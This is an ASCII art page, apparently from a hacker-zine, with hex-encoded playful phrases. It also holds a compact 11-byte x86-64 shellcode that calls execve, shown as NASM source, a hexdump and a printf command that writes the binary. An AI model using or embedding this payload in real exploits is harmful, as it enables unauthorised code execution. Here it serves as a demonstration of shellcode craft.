48 41 .-. .-. _.___. .-. .-' .-. .-. /^ .-. .-' ( | | ( | ( \ / ( | | / | ( \ / |---| |--' /^\ ___, , , |---| /__|__, /^\ _| |_, _|___, _/ \_, ( |_) \_/ _| |_, _| _/ \_, ( ( ( |__) / ( ( ( 43 ( ( 4b o--)(=======- CONSTANT DESIRE TO EXPLORE -=======|-* ╬═══════════════╡ 66 75 6e 2e 20 46 75 6e 21 20 46 55 4e 21 ╞═══════════════╬ ║ ║ ║ ████ █████ ████ █████ ███ ████ ███ █ █ ║ ║ █ █ █ █ █ █ █ █ █ █ █ █ █ ║ ║ ▓ ▓▓ ▓▓▓▓ ▓▓▓ ▓▓▓▓ ▓▓▓▓▓ ▓ ▓▓ ▓ ▓▓▓▓▓ ║ ║ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ║ ║ ░ ░ ░░░░░ ░░░░ ░░░░░ ░ ░ ░ ░ ░░░ ░ ░ ║ ║ ║ ╬═════════════════════════════════════════════════════════════════════════════╬ ╬═════════════╡ 42 72 61 69 6e 20 77 72 69 6e 6b 6c 65 73 2e ╞══════════════╬ ║ ║ ║ ███ █ █ ███ █ █ █████ █ █ ████ █████ ████ ║ ║ █ █ █ █ █ █ █ █ █ ██ █ █ █ █ ║ ║ ▓ ▓▓▓▓▓ ▓▓▓▓▓ ▓ ▓ ▓▓▓▓ ▓ ▓ ▓ ▓ ▓▓▓ ▓▓▓▓ ▓▓▓ ║ ║ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒ ▒▒ ▒ ▒ ▒ ▒ ║ ║ ░░░ ░ ░ ░ ░ ░░░░░ ░░░░░ ░░░░░ ░ ░ ░░░░ ░░░░░ ░░░░ ║ ║ ║ ╬═════════════════════════════════════════════════════════════════════════════╬ █████ 5468652 ███ █ ████ █████ ██ 06f6e ▒▒ █ ██ █ █ █ ████ █ █ 6 ████ c ▒▒▒▒ 7 █ ██ ██ █ █ ██ █ ██ █ ██ █ 92 ██ ▓▓ ▒▒ ▒▒ 07 █ ██ ██ █ █ ██ ███ ██ ██ █ 072 ██ ▓▓▒ ▒▒ 6f7 █ ██ ██ █ █ ██ █ ██ ██ █ 4656 ██ ▓▓ ▒▒ ▒▒ 3746 █ ██ ▓▓ █ █ ▓▓ ▓▓▓▓ █ ██ ██ █ 96f █▓ ▒▒ 6e2 █ ▓▓ ▓▓▓▓▓ ██ ▓▓▓▓▓▓ ██ ▓▓▓ █ 0 ██ █▓ 6 ▒▒ ▒░ 1 █ ▓▓▓▓▓▓ ▒▒ █ █ ▒▒ ███ █ ▓▓▓ █ ██ ▓▓ ▒▒ ░░ █ ▒▒ ▒▒ █ ██ ▒▒ █ █ ▒▒ ▒▒ █ ███████ ▓▓ ▓▒▒ ▒▒ ▒░░░░░░ █ ▒▒ ░░ █ █ ░░ █ █ ▒▒ ▒▒ █ ▓▓ ▒▒ █ ░░ ░░ █ █ ░░ █ █ ░░ ░░ █ 67616 ▓▓ ▒▒ 96e73 █ ░░ █ █ █ █ █ ██ ░░ █ 74205 ▒▒ ▒▒ 34547 █ █████ ██████ █████ █ █ 464 ▒▒ ▒▒ 155 ████ █████ 4c ▒▒▒ 54 7 ▒ 3 |=--------------------[ x86-64 intel assembly (nasm) ]------------------------=| BITS 64 DEFAULT REL ;; NOP SLED ;times 0x800 nop ; 59 execve (<rdi> const char *filename, ; <rsi> const char *const argv[], ; <rdx> const char *const envp[]) xor esi, esi ; [arg2] argv = NULL mul esi ; [arg3] envp = NULL (EDX:EAX = EAX*ESI -> RAX=RDX=RSI=0) mov al, 59 ; [syscall] execve(2) and ASCII char ';' push rax push rsp pop rdi ; [arg1] filename = & STACK = & ";" syscall |=--------------------------------[ Hexdump ]---------------------------------=| 00000000: 31f6 f7e6 b03b 5054 5f0f 05 1....;PT_.. |=-------------------------------[ Hex string ]-------------------------------=| printf '1\xf6\xf7\xe6\xb0;PT_\x0f\x05' > ./execve.bin |=----------------------------------------------------------------------------=| [___] 54 68 69 73 20 70 69 \@/ o. @ .o 63 74 75 72 65 20 )ooo@ooo( o' @ @ `o 69 73 20 77 61 @...@ .o'@'''''@'o. 79 20 74 6f .o'' @ @ ``o. .o' .o' @ @ `o. `o. 6f 20 63 75 .o .o @@@@@@@@@ o. o. o' o' 0)-------------(0 `o `o 74 65 20 66 .: .: @@@@@@^@@@@@@ :. :. :: :: / \ :: :: 6f 72 20 6d `: `: .@ @. :' :' o. o. .@' '@. o o 65 20 6e 6f `o `o .@'@ @'@. o' o' `o `o. .@' `@' '@. .o' o' 74 20 74 6f 20 ` `o.@' ' '@.' ' .@'o........o^'@. 6c 69 6e 6b 20 69 .@' '''' '@. @:@:@:@:@:@:@:@:@:@ 74 20 68 65 72 65 21